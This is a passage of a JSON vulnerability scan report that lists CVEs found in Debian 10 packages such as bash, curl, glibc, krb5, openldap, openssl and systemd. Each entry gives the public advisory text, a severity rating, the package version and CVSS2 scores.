shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support \"saved UID\" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use \"enable -f\" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-18276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.0-4"}, {"key": "package_name", "value": "bash"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "7.2"}]}, {"name": "CVE-2017-18018", "description": "In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX \"-R -L\" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-18018", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2021-22923", "description": "When curl is instructed to get content using the metalink feature, and a user name and password are used to download the metalink XML file, those same credentials are then subsequently passed on to each of the servers from which curl will download or try to download the contents from. Often contrary to the user''s expectations and intentions and without telling the user it happened.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2021-22922", "description": "When curl is instructed to download content using the metalink feature, thecontents is verified against a hash provided in the metalink XML file.The metalink XML file points out to the client how to get the same contentfrom a set of different URLs, potentially hosted by different servers and theclient can then download the file from one or several of them. In a serial orparallel manner.If one of the servers hosting the contents has been breached and the contentsof the specific file on that server is replaced with a modified payload, curlshould detect this when the hash of the file mismatches after a completeddownload. It should remove the contents and instead try getting the contentsfrom another URL. This is not done, and instead such a hash mismatch is onlymentioned in text and the potentially malicious content is kept in the file ondisk.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22922", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2013-0340", "description": "expat 2.1.0 and earlier does not properly handle entities expansion unless an application developer uses the XML_SetEntityDeclHandler function, which allows remote attackers to cause a denial of service (resource consumption), send HTTP requests to intranet servers, or read arbitrary files via a crafted XML document, aka an XML External Entity (XXE) issue. NOTE: it could be argued that because expat already provides the ability to disable external entity expansion, the responsibility for resolving this issue lies with application developers; according to this argument, this entry should be REJECTed, and each affected application would need its own CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0340", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.2.6-2+deb10u1"}, {"key": "package_name", "value": "expat"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-1010023", "description": "** DISPUTED ** GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010023", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2010-4051", "description": "The regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (application crash) via a regular expression containing adjacent bounded repetitions that bypass - the intended RE_DUP_MAX limitation, as demonstrated by a {10,}{10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD, related to a \"RE_DUP_MAX overflow.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4051", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010022", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010022", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2010-4052", "description": "Stack consumption vulnerability in the regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (resource exhaustion) via a regular expression containing adjacent repetition operators, as demonstrated by a {10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4052", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010024", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010024", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-4756", "description": "The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4756", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2019-1010025", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor''s position is \"ASLR bypass itself is not a vulnerability.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010025", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-20796", "description": "In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by ''(\\227|)(\\\\1\\\\1|t1|\\\\\\2537)+'' in grep.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-20796", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-9192", "description": "** DISPUTED ** In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by ''(|)(\\\\1\\\\1)*'' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9192", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2011-3389", "description": "The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a \"BEAST\" attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2011-3389", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "3.6.7-4+deb10u7"}, {"key": "package_name", "value": "gnutls28"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-30535", "description": "Double free in ICU in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-30535", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "63.1-6+deb10u1"}, {"key": "package_name", "value": "icu"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-9937", "description": "In LibTIFF 4.0.8, there is a memory malloc failure in tif_jbig.c. A crafted TIFF document can lead to an abort resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9937", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.1-3.1"}, {"key": "package_name", "value": "jbigkit"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-5709", "description": "An issue was discovered in MIT Kerberos 5 (aka krb5) through 1.16. There is a variable \"dbentry->n_key_data\" in kadmin/dbutil/dump.c that can store 16-bit data but unknowingly the developer has assigned a \"u4\" variable to it, which is for 32-bit data. An attacker can use this vulnerability to affect other artifacts of the database as we know that a Kerberos database dump file contains trusted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-5709", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key" : "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36222", "description": "ec_verify in kdc/kdc_preauth_ec.c in the Key Distribution Center (KDC) in MIT Kerberos 5 (aka krb5) before 1.18.4 and 1.19.x before 1.19.2 allows remote attackers to cause a NULL pointer dereference and daemon crash. This occurs because a return value is not properly managed in a certain situation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36222", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2004-0971", "description": "The krb5-send-pr script in the kerberos5 (krb5) package in Trustix Secure Linux 1.5 through 2.1, and possibly other operating systems, allows local users to overwrite files via a symlink attack on temporary files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2004-0971", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2018-6829", "description": "cipher/elgamal.c in Libgcrypt through 1.8.2, when used to encrypt messages directly, improperly encodes plaintexts, which allows attackers to obtain sensitive information by reading ciphertext data (i.e., it does not have semantic security in face of a ciphertext-only attack). The Decisional Diffie-Hellman (DDH) assumption does not hold for Libgcrypt''s ElGamal implementation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-6829", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-11813", "description": "libjpeg 9c has a large loop because read_pixel in rdtarga.c mishandles EOF.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-11813", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-17541", "description": "Libjpeg-turbo all version have a stack-based buffer overflow in the \"transform\" component. A remote attacker can send a malformed jpeg file to the service and cause arbitrary code execution or denial of service of the target service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-17541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-15232", "description": "libjpeg-turbo 1.5.2 has a NULL Pointer Dereference in jdpostct.c and jquant1.c via a crafted JPEG file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-15232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14048", "description": "An issue has been found in libpng 1.6.34. It is a SEGV in the function png_free_data in png.c, related to the recommended error handling for png_read_image.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14048", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-6129", "description": "** DISPUTED ** png_create_info_struct in png.c in libpng 1.6.36 has a memory leak, as demonstrated by pngcp. NOTE: a third party has stated \"I don''t think it is libpng''s job to free this buffer.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-6129", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14550", "description": "An issue has been found in third-party PNM decoding associated with libpng 1.6.35. It is a stack-based buffer overflow in the function get_token in pnm2png.c in pnm2png.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14550", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-9893", "description": "libseccomp before 2.4.0 did not correctly generate 64-bit syscall argument comparisons using the arithmetic operators (LT, GT, LE, GE), which might able to lead to bypassing seccomp filters and potential privilege escalations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9893", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.3.3-4"}, {"key": "package_name", "value": "libseccomp"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-1000654", "description": "GNU Libtasn1-4.13 libtasn1-4.13 version libtasn1-4.13, libtasn1-4.12 contains a DoS, specifically CPU usage will reach 100% when running asn1Paser against the POC due to an issue in _asn1_expand_object_id(p_tree), after a long time, the program will be killed. This attack appears to be exploitable via parsing a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-1000654", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.13-3"}, {"key": "package_name", "value": "libtasn1-6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2016-9085", "description": "Multiple integer overflows in libwebp allows attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9085", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "0.6.1-2+deb10u1"}, {"key": "package_name", "value": "libwebp"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2015-9019", "description": "In libxslt 1.1.29 and earlier, the EXSLT math.random function was not initialized with a random seed during startup, which could cause usage of this function to produce predictable outputs.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-9019", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.32-2.2~deb10u1"}, {"key": "package_name", "value": "libxslt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2009-4487" , "description": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window''s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "uri": "https://security-tracker.debian.org/tracker/CVE-2009-4487", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-15719", "description": "libldap in certain third-party OpenLDAP packages has a certificate-validation flaw when the third-party package is asserting RFC6125 support. It considers CN even when there is a non-matching subjectAltName (SAN). This is fixed in, for example, openldap-2.4.46-10.el8 in Red Hat Enterprise Linux.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-15719", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2015-3276" , "description": "The nss_parse_ciphers function in libraries/libldap/tls_m.c in OpenLDAP does not properly parse OpenSSL-style multi-keyword mode cipher strings, which might cause a weaker than intended cipher to be used and allow remote attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-3276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2017-14159", "description": "slapd in OpenLDAP 2.4.45 and earlier creates a PID file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for PID file modification before a root script executes a \"kill `cat /pathname`\" command, as demonstrated by openldap-initscript.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-14159", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2017-17740", "description": "contrib/slapd-modules/nops/nops.c in OpenLDAP through 2.4.45, when both the nops module and the memberof overlay are enabled, attempts to free a buffer that was allocated on the stack, which allows remote attackers to cause a denial of service (slapd crash) via a member MODDN operation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17740", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-0928" , "description": "OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a \"fault-based attack.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-0928", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2007-6755", "description": "The NIST SP 800-90A default statement of the Dual Elliptic Curve Deterministic Random Bit Generation (Dual_EC_DRBG) algorithm contains point Q constants with a possible relationship to certain \"skeleton key\" values, which might allow context-dependent attackers to defeat cryptographic protection mechanisms by leveraging knowledge of those values. NOTE: this is a preliminary CVE for Dual_EC_DRBG; future research may provide additional details about point Q and associated attacks, and could potentially lead to a RECAST or REJECT of this CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-6755", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2017-7246", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 268) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7246", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-20838", "description": "libpcre in PCRE before 8.43 allows a subject buffer over-read in JIT when UTF is disabled, and \\X or \\R has more than one fixed quantifier, a related issue to CVE-2019-20454.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20838", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-7245", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 4) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7245", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-16231", "description": "** DISPUTED ** In PCRE 8.41, after compiling, a pcretest load test PoC produces a crash overflow in the function match() in pcre_exec.c because of a self-recursive call. NOTE: third parties dispute the relevance of this report, noting that there are options that can be used to limit the amount of stack that is used.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16231", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2017-11164", "description": "In PCRE 8.41, the OP_KETRMAX feature in the match function in pcre_exec.c allows stack exhaustion (uncontrolled recursion) when processing a crafted regular expression.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-11164", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.8"}]}, {"name": "CVE-2011-4116", "description": "_is_safe in the File::Temp module for Perl does not properly handle symlinks.", "uri" : "https://security-tracker.debian.org/tracker/CVE-2011-4116", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.28.1-6+deb10u1"}, {"key": "package_name", "value": "perl"}, {"key": "CVSS2_VECTOR" , "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-19882", "description": "shadow 4.8, in certain circumstances affecting at least Gentoo, Arch Linux, and Void Linux, allows local users to obtain root access because setuid programs are misconfigured. Specifically, this affects shadow 4.8 when compiled using --with-libpam but without explicitly passing --disable-account-tools-setuid, and without a PAM configuration suitable for use with setuid account management tools. This combination leads to account management tools (groupadd, groupdel, groupmod, useradd, userdel, usermod) that can easily be used by unprivileged local users to escalate privileges to root in multiple ways. This issue became much more relevant in approximately December 2019 when an unrelated bug was fixed (i.e., the chmod calls to suidusbins were fixed in the upstream Makefile which is now included in the release version 4.8).", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19882", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.9"}]}, {"name": "CVE-2007-5686", "description": "initscripts in rPath Linux 1 sets insecure permissions for the /var/log/btmp file, which allows local users to obtain sensitive information regarding authentication attempts. NOTE: because sshd detects the insecure permissions and does not log certain events, this also prevents sshd from logging failed authentication attempts by remote attackers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-5686", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.9"}]}, {"name": "CVE-2013-4235", "description": "shadow: TOCTOU (time-of-check time-of-use) race condition when copying and removing directory trees", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4235" , "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13529", "description": "An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13529", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:A/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.9"}]}, {"name": "CVE-2013-4392", "description": "systemd, when updating file permissions, allows local users to change the permissions and SELinux security contexts for arbitrary files via a symlink attack on unspecified files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4392", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13776", "description": "systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed 